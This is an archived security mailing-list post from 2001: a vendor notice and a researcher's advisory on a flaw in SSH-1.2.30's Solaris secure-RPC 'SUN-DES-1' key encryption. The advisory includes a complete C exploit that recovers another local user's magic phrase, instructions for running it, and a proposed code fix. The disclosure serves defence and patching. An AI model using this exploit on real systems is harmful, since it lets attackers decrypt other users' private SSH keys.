OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: ssh2-bugsSSH.COM
Date: Tue Jan 16 2001 - 11:14:49 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Hello all,

    There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is available at http://www.ssh.com/patches.html.

    The explanation and bug was submitted by Richard Silverman (sladeshore.net), and his explanation of the bug is below. The SSH1 protocol is not formally supported by SSH Communications Security. However, as a service to the user community, we offer this patch as a potential way of addressing SSH1 related issues.

    If you have any questions or comments, please email ssh2-bugsssh.com.

    Thanks,

    -Anne

    When using "secure-RPC" support to encrypt a secret key file with the "SUN-DES-1
    magic phrase," it is possible for SSH to generate a "magic phrase" which
    is easily discoverable by other users on the same host, or in the same
    NIS+ domain.

    Since this weakness can seriously threaten the secrecy of a user's private
    keys, I intend to post this information publically as soon as is feasible. I
    would, of course, like to allow you to assess the problem first and release a
    fix before I do so. Please keep me informed. If I do not hear back from you
    within a week (that is, by Friday 28 July 2000), I will go ahead and release
    the bug report.

    IMPACT:

    A user's private key file is encrypted with an easily discoverable
    passphrase.

    SYSTEMS AFFECTED:

    Any system running SSH1 with secure-RPC support. As far as I know, this
    is limited to Sun Solaris 2.x. I have seen the problem under Solaris 2.6
    and 2.7, running on SPARC hardware.

    DETAILS:

    The SSH1 feature is called secure-RPC, but this is a little misleading.
    SSH1 does not use secure-RPC. Rather, it takes advantage of the
    cryptographic infrastructure present to support secure-RPC.

    On a Solaris system employing secure-RPC (for e.g. secure NFS or NIS+),
    there is a host-independent user and host naming scheme consisting of
    "netnames" contained in the "netid" table, and a Diffie-Hellman key pair
    belonging to each netname, contained in the "publickey" table. These
    tables may be kept in local files (/etc/netid, /etc/publickey), or stored
    in NIS+. User netnames look like "unix.<uid><domain>", and have an
    obvious mapping to local usernames via the uid on a given host. A user's
    Diffie-Hellman private key is stored encrypted with the user's "network
    password," which may differ from the user's login password on a particular
    host.

    Solaris includes a system server process called "keyserv," which is a
    caching and service agent for the secure-RPC private keys. To load the
    private key into keyserv, the user runs a program called "keylogin," which
    prompts for the network password. It then retrieves the user's private
    key from the publickey table, decrypts it with the password, and via an
    IPC mechanism stores the key with keyserv. Keyserv will only allow
    processes with the same uid as that which stored a key to access it.

    The keyserv API includes two functions, key_encryptsession and
    key_decryptsession. Their purpose is to support DES session key exchange
    between secure-RPC principals. The key_encryptsession routine takes a
    recipient netname N and DES key D. It looks up the public key P belonging
    to N, and retrieves from keyserv the private key K of the current user.
    It then encrypts D twice, using both Diffie-Hellman keys and P and K. The
    key_decryptsession routine performs the inverse operation on behalf of the
    recipient, recovering D.

    The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt the a
    user's SSH private key file without requiring a user-supplied passphrase.
    When ssh-keygen prompts the user for a passphrase to encrypt a new key (or
    change the passphrase of an existing key), it recognizes the special
    passphrase "SUN-DES-1". Instead of using this token as the passphrase, it
    does the following:

    - Finds the netname U of the current user.

    - Generates the string S: "ssh.XXXX", where XXXX is the user's uid in
      hexadecimal, left-padded with zeros.

    - Treats S as a DES key, padding it out on the right with 8 null bytes.

    - Calls key_encryptsession(U,S), producing S'. This encrypts S with both
      the public and private keys of the calling user.

    - Generates the string M, which is the (upper-case) ASCII hexadecimal
      representation of the 64-bit S'. This is the SUN-DES-1 "magic phrase."

    Ssh-keygen then uses M as the passphrase to encrypt the user's SSH private
    key in the usual way. The idea is that M is an automatically-generated
    secure passphrase for the user, and that an attacker would need the user's
    secure-RPC private key to discover M. When other SSH components need to
    read a private key file, they first generate M and attempt to decrypt the
    SSH private key with M; if that fails, they prompt the user for a
    passphrase.

    The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
    phrase, without having done a keylogin -- that is, keyserv does not have
    my Diffie-Hellman private key. The Solaris 5.7 man page for the
    key_encryptsession routine does not say explicitly what happens in this
    case, though it does say that the routine returns 0 on success and -1 on
    failure. One would assume that it returns failure in this case. The SSH
    code does check the return code and tells the user to do a keylogin if
    key_encryptsession fails.

    However, this does not always happen. I have seen the correct behavior
    happen very occasionally while testing, but most of the time,
    key_encryptsession returns success instead, and appears to have encrypted
    its argument only with the public key of the target netname, simply
    skipping the other encryption step. This produces a magic phrase which
    can be generated easily by any other user on the system. If the victim
    has uid U and netname V, the attacker simply ensures that he does not have
    a private key available (by doing a keylogout), then calls
    key_encryptsession(V,"ssh.<U>...") as described above; this recovers the
    victim's magic phrase. The attacker can then use this to decrypt the
    victim's private key file, should he get hold of it through other means.

    The user may not notice the problem immediately, as his SSH will be able
    to automatically decrypt the private key file as expected, as long as he
    remains "keylogged out".

    EXPLOIT:

    To demonstrate this problem on a Solaris system with secure-RPC keys in
    place, do a keylogout, then use ssh-keygen to generate a new key (or
    change the passphrase on an existing key), setting the passphrase to
    "SUN-DES-1". You will see the message:

      "Using SUN-DES-1 magic phrase to encrypt the private key."

    (That is, you will see this if the bug manifests. As I mentioned, I have
    occasionally seen key_encryptsession return failure in this situation, in
    which case you will see "Failed to get SUN-DES-1 magic phrase. Run
    keylogin.")

    Then, compile the following short program:

    == exploit.c =====================================
    #include <stdio.h>
    #include <rpc/rpc.h>

    void die (char *msg)
    {
      fprintf(stderr,"%s\n",msg);
      exit(1);
    }

    main (int argc, char **argv)
    {
      char buf[MAXNETNAMELEN + 1];
      des_block block;
      uid_t uid;
      char *netname;

      if (argc < 3)
        die("supply uid and netname");

      sscanf(argv[1], "%d", &uid);
      netname = argv[2];
      memset(buf, 0, sizeof(buf));
      snprintf(buf, sizeof(buf), "ssh.%04X", uid);
      memcpy(block.c, buf, sizeof(block.c));
      if (key_encryptsession(netname, &block) != 0)
        die("key_encryptsession failed");
      printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n",
             uid,
             netname,
             ntohl(block.key.high),
             ntohl(block.key.low));
    }
    ==================================================

    Any user may now do a keylogout, then call this program with your uid and
    netname as arguments, e.g. "exploit 12345 unix.12345domain.org". It will
    print out your magic phrase, which can be used directly to decrypt your
    private key file, e.g. with "ssh -i", "ssh-add", etc.

    FIX:

    The quick fix is this: in the routine userfile_get_des_1_magic_phrase
    (userfile.c:1150), change this line:

          if (getnetname(buf))

    to this:

          if (getnetname(buf) && key_secretkey_is_set())

    key_secretkey_is_set returns whether or not the calling process has a
    secret key registered with keserv.

    Unfortunately, this may not be complete solution. Judging from the
    secure-RPC code in auth-passwd.c, there are apparently two different
    versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not
    available in version 1. In fact, auth-passwd.c has a routine
    my_secretkey_is_set, which calls key_secretkey_is_set if keyserv version 2
    is available -- otherwise, it calls key_encryptsession and relies on it
    failing if the secret key is not set! This suggests that, if this bug
    occurs in version 1 as well as 2, there may be no simple, reliable way to
    tell if the calling process' secret key is registered with keyserv.
    Theoretically, one could call getpublickey(3N) to retrieve the user's
    public key, encrypt a test token with it, and compare this to the result
    of encrypting the token with key_encryptsession -- the secret key is set
    only if they are different. However, the Solaris secure-RPC library does
    not appear to expose routines for performing Diffie-Hellman operations
    directly, so this would not be straightforward.

    Since this is a problem with an old version of keyserv, and with an SSH1
    option this is (I think) very little used, I haven't spent the time to
    come up with a fix for this. Perhaps someone with more motivation will do
    so. In the meantime, it may be best to simply disable the SSH1 secure-RPC
    feature if keyserv version 2 is not available (KEY_VERS2 is not defined by
    <rpc/rpc.h>.